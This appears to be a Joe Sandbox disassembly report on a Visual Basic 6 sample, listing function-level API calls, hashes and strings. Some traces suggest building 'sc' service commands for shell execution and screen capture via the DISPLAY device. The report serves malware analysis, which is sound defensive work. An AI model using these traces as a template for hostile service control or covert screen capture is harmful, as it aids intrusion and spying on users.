__vbaGenerateBoundsError.MSVBVM60 ref: 004210C6
__vbaGenerateBoundsError.MSVBVM60 ref: 0042113B
__vbaGenerateBoundsError.MSVBVM60 ref: 00421149
__vbaGenerateBoundsError.MSVBVM60 ref: 00421160
__vbaGenerateBoundsError.MSVBVM60 ref: 0042116A
__vbaGenerateBoundsError.MSVBVM60 ref: 00421181
__vbaGenerateBoundsError.MSVBVM60 ref: 0042118B
__vbaGenerateBoundsError.MSVBVM60 ref: 004211A2
__vbaGenerateBoundsError.MSVBVM60 ref: 004211B5
__vbaGenerateBoundsError.MSVBVM60 ref: 004211CE
__vbaGenerateBoundsError.MSVBVM60 ref: 004211E2
__vbaGenerateBoundsError.MSVBVM60 ref: 004211F5
__vbaGenerateBoundsError.MSVBVM60 ref: 00421209
__vbaGenerateBoundsError.MSVBVM60 ref: 00421223
__vbaGenerateBoundsError.MSVBVM60 ref: 00421237
__vbaGenerateBoundsError.MSVBVM60 ref: 00421250
__vbaGenerateBoundsError.MSVBVM60 ref: 00421269
__vbaGenerateBoundsError.MSVBVM60 ref: 00421281
__vbaGenerateBoundsError.MSVBVM60 ref: 0042129F
__vbaGenerateBoundsError.MSVBVM60 ref: 004212B2
__vbaGenerateBoundsError.MSVBVM60 ref: 004212C6
__vbaI2I4.MSVBVM60 ref: 004212CD
__vbaErrorOverflow.MSVBVM60(00000000,00001000,6D11DAF4,6D04D9F5), ref: 004212E7

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Overflow
String ID:
API String ID: 2760075901-0
Opcode ID: 7623d4b20da7c6b818f332ecc799d3caca9fe6e1c56e874aff0741b4b89b7b8a
Instruction ID: 6f7972a480d0dd1fda114303b5166632bd8b31c6f1599b60b9e65e0100795082
Opcode Fuzzy Hash: 7623d4b20da7c6b818f332ecc799d3caca9fe6e1c56e874aff0741b4b89b7b8a
Instruction Fuzzy Hash: 0F81D835B00361C6C724AB98E9C65ADB3A3BFA9701FC10076D580A7271CF7998C1C7AE

Function 00420C20 Relevance: 49.7, APIs: 33, Instructions: 191COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(6D04D8B1), ref: 00420C36
__vbaGenerateBoundsError.MSVBVM60(6D04D8B1), ref: 00420C51
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420C6B
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420C84
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420C9B
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420CB9
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420CD3
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420CEF
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D0A
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D24
__vbaGenerateBoundsError.MSVBVM60 ref: 00420D2E
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D42
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D60
__vbaGenerateBoundsError.MSVBVM60 ref: 00420D6A
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D7E
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D95
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420D9F
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420DB6
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420DC9
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420DE6
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420DF0
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E07
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E1B
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E32
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E3F
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E56
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E6A
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E85
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420E99
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420EAE
__vbaGenerateBoundsError.MSVBVM60(00000000,6D042523,6D04D8B1), ref: 00420EC2
__vbaGenerateBoundsError.MSVBVM60(6D04D8B1), ref: 00420ED8
__vbaI2I4.MSVBVM60(6D04D8B1), ref: 00420EDF

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$BoundsErrorGenerate
String ID:
API String ID: 3574812510-0
Opcode ID: 531f9eca504aa198c6c6dfefc7d7df16526d6ddf688e9b54a0de9df055713b13
Instruction ID: aa417d5a5a3cc9c21652b4fe2a9d25cfa30c058b0be9d244c1a14ba1329cb19f
Opcode Fuzzy Hash: 531f9eca504aa198c6c6dfefc7d7df16526d6ddf688e9b54a0de9df055713b13
Instruction Fuzzy Hash: 9E718935F1136586D724AB99E9C75ADB3E3BF88701FC11466C48123262DFB8A8C1C6DD

Function 00426720 Relevance: 46.8, APIs: 31, Instructions: 331COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,00000000,6D07285F,6D061654), ref: 00426796
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,00000000), ref: 004267C7
__vbaSetSystemError.MSVBVM60(?,?,00000040,?,00000000), ref: 004267DF
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426804
__vbaSetSystemError.MSVBVM60(?,?,00000014,?,00000000,?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426819
__vbaSetSystemError.MSVBVM60(?,?,000000E0,?,00000000,?,?,00000014,?,00000000,?,?,?,00000000,?,?), ref: 00426834
__vbaRedim.MSVBVM60(00000000,00000028,?,00000000,00000001,00000000,00000000,?,?,000000E0,?,00000000,?,?,00000014,?), ref: 00426853
__vbaAryLock.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426867
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426887
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004268A7
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000,?,?,00000040,?,00000000), ref: 004268D5
__vbaAryUnlock.MSVBVM60(?,?,?,00000040,?,00000000), ref: 004268DE
__vbaUbound.MSVBVM60(00000001,?,?,?,00000040,?,00000000), ref: 004268F8
__vbaI2I4.MSVBVM60(?,?,00000040,?,00000000), ref: 00426900
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426936
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426946
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426962
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426972
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269A5
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269B5
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269FD
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A0D
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A33
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A43
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A69
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A79
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A95
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426AA2
__vbaExitProc.MSVBVM60(?,?,00000040,?,00000000), ref: 00426ACD
__vbaAryDestruct.MSVBVM60(00000000,?,00426AF5), ref: 00426AEE
__vbaErrorOverflow.MSVBVM60(?,00000000,?,?,00000040,?,00000000), ref: 00426B0B

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$System$DestructExitLockOverflowProcRedimUboundUnlock
String ID:
API String ID: 2234381736-0
Opcode ID: 8a3a9e375456d3784734aa077d45e81f9f694a82a56cb0dbdfd646f6f7379c76
Instruction ID: 8bb1792076bedc514fb8fc9f35066fd02f5cb142c2b8cf4fa96dc0b38f9b19a4
Opcode Fuzzy Hash: 8a3a9e375456d3784734aa077d45e81f9f694a82a56cb0dbdfd646f6f7379c76
Instruction Fuzzy Hash: 6FC17F71E001299BCF14DFA8D980AEEBBB5FF48304FA1819AD405B7240D775AD82CFA5

Function 0041F5C0 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0040B976,00000000), ref: 0041F5DE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041F60B
__vbaFixstrConstruct.MSVBVM60(00000100,?,?,?,?,00000000,Function_000032B6), ref: 0041F61A
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F629
__vbaStrToAnsi.MSVBVM60(00000001,Microsoft Internet Explorer,00000001,00000000,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041F647
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F656
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041F665
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,80000000,00000000), ref: 0041F696
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F6A9
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F6B7
__vbaFreeStr.MSVBVM60 ref: 0041F6C6
__vbaStrToAnsi.MSVBVM60(?,?,00000100,?), ref: 0041F6F5
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F705
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F713
__vbaLsetFixstr.MSVBVM60(00000000,?,00000000), ref: 0041F720
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041F730
__vbaStrToAnsi.MSVBVM60(?,?,00000100,00000000), ref: 0041F75E
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F76E
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F77C
__vbaLsetFixstr.MSVBVM60(00000000,?,00000000), ref: 0041F789
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041F799
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F7B4
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F7CA
__vbaFreeStr.MSVBVM60(0041F811), ref: 0041F801
__vbaFreeStr.MSVBVM60 ref: 0041F80A

Strings

Microsoft Internet Explorer, xrefs: 0041F63E

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$FreeSystem$Ansi$FixstrUnicode$ListLset$ChkstkConstructCopy
String ID: Microsoft Internet Explorer
API String ID: 4206449948-3125735337
Opcode ID: cded7575dc80e55b3969bd68fd6dc42ddc0613399f5cdd5ea9fa15ec02432952
Instruction ID: b2079e6668a1cd7a86d62b88bf03b67035dbb3734d396ffb12c1851edfe9c710
Opcode Fuzzy Hash: cded7575dc80e55b3969bd68fd6dc42ddc0613399f5cdd5ea9fa15ec02432952
Instruction Fuzzy Hash: 4561CB75900208EFDB04EFE4EE49FDEBB78AB48705F104169F611B61A0CB746A45CB65

Function 00429340 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0042935E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 004293A3
__vbaStrCopy.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004293B8
#712.MSVBVM60(?,file:///,00408114,00000001,000000FF,00000000,?,?,?,?,Function_000032B6), ref: 004293D9
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004293E4
#712.MSVBVM60(?,00409840,00406544,00000001,000000FF,00000000,?,?,?,?,Function_000032B6), ref: 00429405
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 00429410
#572.MSVBVM60(00004002), ref: 00429469
__vbaStrMove.MSVBVM60 ref: 00429474
#537.MSVBVM60(00000020), ref: 0042947F
__vbaStrMove.MSVBVM60 ref: 0042948A
__vbaStrMove.MSVBVM60(00000001,000000FF,00000001), ref: 004294B6
__vbaStrMove.MSVBVM60(004097E0,00000000), ref: 004294C8
__vbaStrCat.MSVBVM60(00000000), ref: 004294CF
__vbaStrMove.MSVBVM60 ref: 004294DA
#712.MSVBVM60(?,00000000), ref: 004294E5
__vbaStrMove.MSVBVM60 ref: 004294F0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,00000000,00000000), ref: 0042950C
__vbaStrCopy.MSVBVM60 ref: 0042952E
__vbaFreeStr.MSVBVM60(00429578), ref: 00429571
__vbaErrorOverflow.MSVBVM60 ref: 004295A2

Strings

, xrefs: 00429429
file:///, xrefs: 004293D0

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$#712$CopyErrorFree$#537#572ChkstkListOverflow
String ID: $file:///
API String ID: 1913684286-1087255347
Opcode ID: 10574e520546cbbb49ac820470f987c6e6ae451a19177e6353396db4924bff4d
Instruction ID: b77d49a70da6056938b5249be74374e1b73de407e439ef27e1b36e2e5139af87
Opcode Fuzzy Hash: 10574e520546cbbb49ac820470f987c6e6ae451a19177e6353396db4924bff4d
Instruction Fuzzy Hash: 6E510875E00209EBCB04DFA4DE48BDEBBB5FF08705F208269E512B72A0DB755A45CB58

Function 0041EC69 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(?,?,00000020), ref: 0041ECA0

Part of subcall function 0041F150: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
Part of subcall function 0041F150: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
Part of subcall function 0041F150: #606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F1D1
Part of subcall function 0041F150: __vbaFreeVar.MSVBVM60 ref: 0041F1DA
Part of subcall function 0041F150: __vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
Part of subcall function 0041F150: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
Part of subcall function 0041F150: __vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F218
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F238
Part of subcall function 0041F150: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
Part of subcall function 0041F150: #616.MSVBVM60(?,-00000001), ref: 0041F251
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F25C
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F265
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B

__vbaStrMove.MSVBVM60(?), ref: 0041ECBB
__vbaStrCmp.MSVBVM60(00408114,?), ref: 0041ECD1
__vbaStrCat.MSVBVM60(00000000,00409A70,?), ref: 0041ECF1
__vbaStrMove.MSVBVM60 ref: 0041ECFC
__vbaStrCmp.MSVBVM60(00000000), ref: 0041ED03
__vbaFreeStr.MSVBVM60 ref: 0041ED1E
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041ED43
__vbaStrMove.MSVBVM60 ref: 0041ED4E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041ED5C
#600.MSVBVM60(00000008,00000000), ref: 0041ED7B
__vbaFreeStr.MSVBVM60 ref: 0041ED8A
__vbaFreeVar.MSVBVM60 ref: 0041ED96
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041EDAC
__vbaStrMove.MSVBVM60 ref: 0041EDB7
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EDC5
#600.MSVBVM60(00000008,00000000), ref: 0041EDE4
__vbaFreeStr.MSVBVM60 ref: 0041EDF3
__vbaFreeVar.MSVBVM60 ref: 0041EDFF

Part of subcall function 0041A980: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
Part of subcall function 0041A980: __vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
Part of subcall function 0041A980: __vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
Part of subcall function 0041A980: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
Part of subcall function 0041A980: __vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
Part of subcall function 0041A980: __vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
Part of subcall function 0041A980: #525.MSVBVM60(00000104), ref: 0041AA9C
Part of subcall function 0041A980: __vbaStrMove.MSVBVM60 ref: 0041AAA7
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
Part of subcall function 0041A980: __vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38

__vbaSetSystemError.MSVBVM60(00000014,00000000), ref: 0041EE2B
#598.MSVBVM60 ref: 0041EE38
#611.MSVBVM60(00000000), ref: 0041EE47
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0041EE77
#705.MSVBVM60(?,00000004), ref: 0041EE86
__vbaStrMove.MSVBVM60 ref: 0041EE94
__vbaStrCat.MSVBVM60(?,at ), ref: 0041EEB9
__vbaStrMove.MSVBVM60 ref: 0041EEC4
__vbaStrCat.MSVBVM60(004086A8,00000000), ref: 0041EED0
__vbaStrMove.MSVBVM60 ref: 0041EEDB
__vbaStrMove.MSVBVM60(00000000), ref: 0041EEEB
__vbaStrCat.MSVBVM60(00000000), ref: 0041EEF2
__vbaStrMove.MSVBVM60 ref: 0041EEFD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF0A
__vbaStrMove.MSVBVM60 ref: 0041EF15
__vbaStrCat.MSVBVM60("\\,00000000), ref: 0041EF21
__vbaStrMove.MSVBVM60 ref: 0041EF2C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF3A
__vbaStrMove.MSVBVM60 ref: 0041EF45
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF51
__vbaStrMove.MSVBVM60 ref: 0041EF5C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF6A
__vbaStrMove.MSVBVM60 ref: 0041EF78
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF84
__vbaStrMove.MSVBVM60 ref: 0041EF92
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF9F
__vbaStrMove.MSVBVM60 ref: 0041EFAD
__vbaStrCat.MSVBVM60(004095E4,00000000), ref: 0041EFB9
#600.MSVBVM60(00000008,00000000), ref: 0041EFD8
__vbaOnError.MSVBVM60(000000FF), ref: 0041F076
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F099
__vbaSetSystemError.MSVBVM60(?), ref: 0041F0AF
__vbaExitProc.MSVBVM60 ref: 0041F0B5
__vbaFreeStr.MSVBVM60(0041F135), ref: 0041F12E
__vbaErrorOverflow.MSVBVM60 ref: 0041F146

Strings

sc , xrefs: 0041ED3A, 0041EDA3

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Ansi$#600$#537Chkstk$#525#598#606#611#616#661#705Construct2CopyExitOverflowProcUnicode
String ID: sc
API String ID: 4194055773-3695712183
Opcode ID: 10bc9b33671cf09b2be45f840a71d39027787730a0e625a90ceabfc0ea0b6571
Instruction ID: 1563775ad5923100dd4d9da9d865aeb77b3bef46a6a949fae2e94889091cf12a
Opcode Fuzzy Hash: 10bc9b33671cf09b2be45f840a71d39027787730a0e625a90ceabfc0ea0b6571
Instruction Fuzzy Hash: 44510875A00219DBDB24EFA0DE49BDD7BB4BB44301F1081A9E14AF72A1DB385E85CF18

Function 0040D123 Relevance: 39.4, APIs: 26, Instructions: 364COMMON

Download Yara Rule

APIs

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D197
__vbaFreeObj.MSVBVM60 ref: 0040D1CF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D22E
__vbaChkstk.MSVBVM60(?), ref: 0040D264
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004077C4,00000020), ref: 0040D2A8
__vbaObjSet.MSVBVM60(?,?), ref: 0040D2DB
__vbaErrorOverflow.MSVBVM60 ref: 0040D522
__vbaOnError.MSVBVM60(00000001), ref: 0040D56C
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040D584
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D5A7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D5CB
__vbaObjSet.MSVBVM60(?,?), ref: 0040D5E2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,0000000C), ref: 0040D5F8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D608
__vbaExitProc.MSVBVM60 ref: 0040D611

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorFree$ChkstkExitListNew2OverflowProc
String ID:
API String ID: 435708370-0
Opcode ID: 9749cd1c4f2270137a3b9f12548bda0f3a75b9f7e342ec696e87967a4431a42f
Instruction ID: fcce0bd25021f4c55c21d17dcae381c1af859cd8f25d7f86317db57e57613949
Opcode Fuzzy Hash: 9749cd1c4f2270137a3b9f12548bda0f3a75b9f7e342ec696e87967a4431a42f
Instruction Fuzzy Hash: CEE11774D00208EFDB14DFA4D988ADEBBB5FF48700F20816AE509BB291D7759985CFA4

Function 00418D00 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 221COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,6D03A323,6D04D8B1,?), ref: 00418D1E
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,?,Function_000032B6,?), ref: 00418D4E
__vbaRecUniToAnsi.MSVBVM60(004054A0,?,?), ref: 00418D6E
__vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D77
__vbaStrMove.MSVBVM60 ref: 00418D85
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418D93
__vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D9C
__vbaStrMove.MSVBVM60 ref: 00418DAA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418DB8
__vbaStrToAnsi.MSVBVM60(?,DISPLAY,00000000), ref: 00418DCB
__vbaSetSystemError.MSVBVM60(00000000), ref: 00418DDD
__vbaRecAnsiToUni.MSVBVM60(004054A0,?,?), ref: 00418DF6
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00418E2D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000084), ref: 00418EAD
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,0000008C), ref: 00418F3C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000278), ref: 00418FA4
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,000000E0), ref: 00419013
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 0041905F
__vbaSetSystemError.MSVBVM60(?,?,00CC0020), ref: 00419078
__vbaErrorOverflow.MSVBVM60 ref: 004190C9

Strings

DISPLAY, xrefs: 00418DBF

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

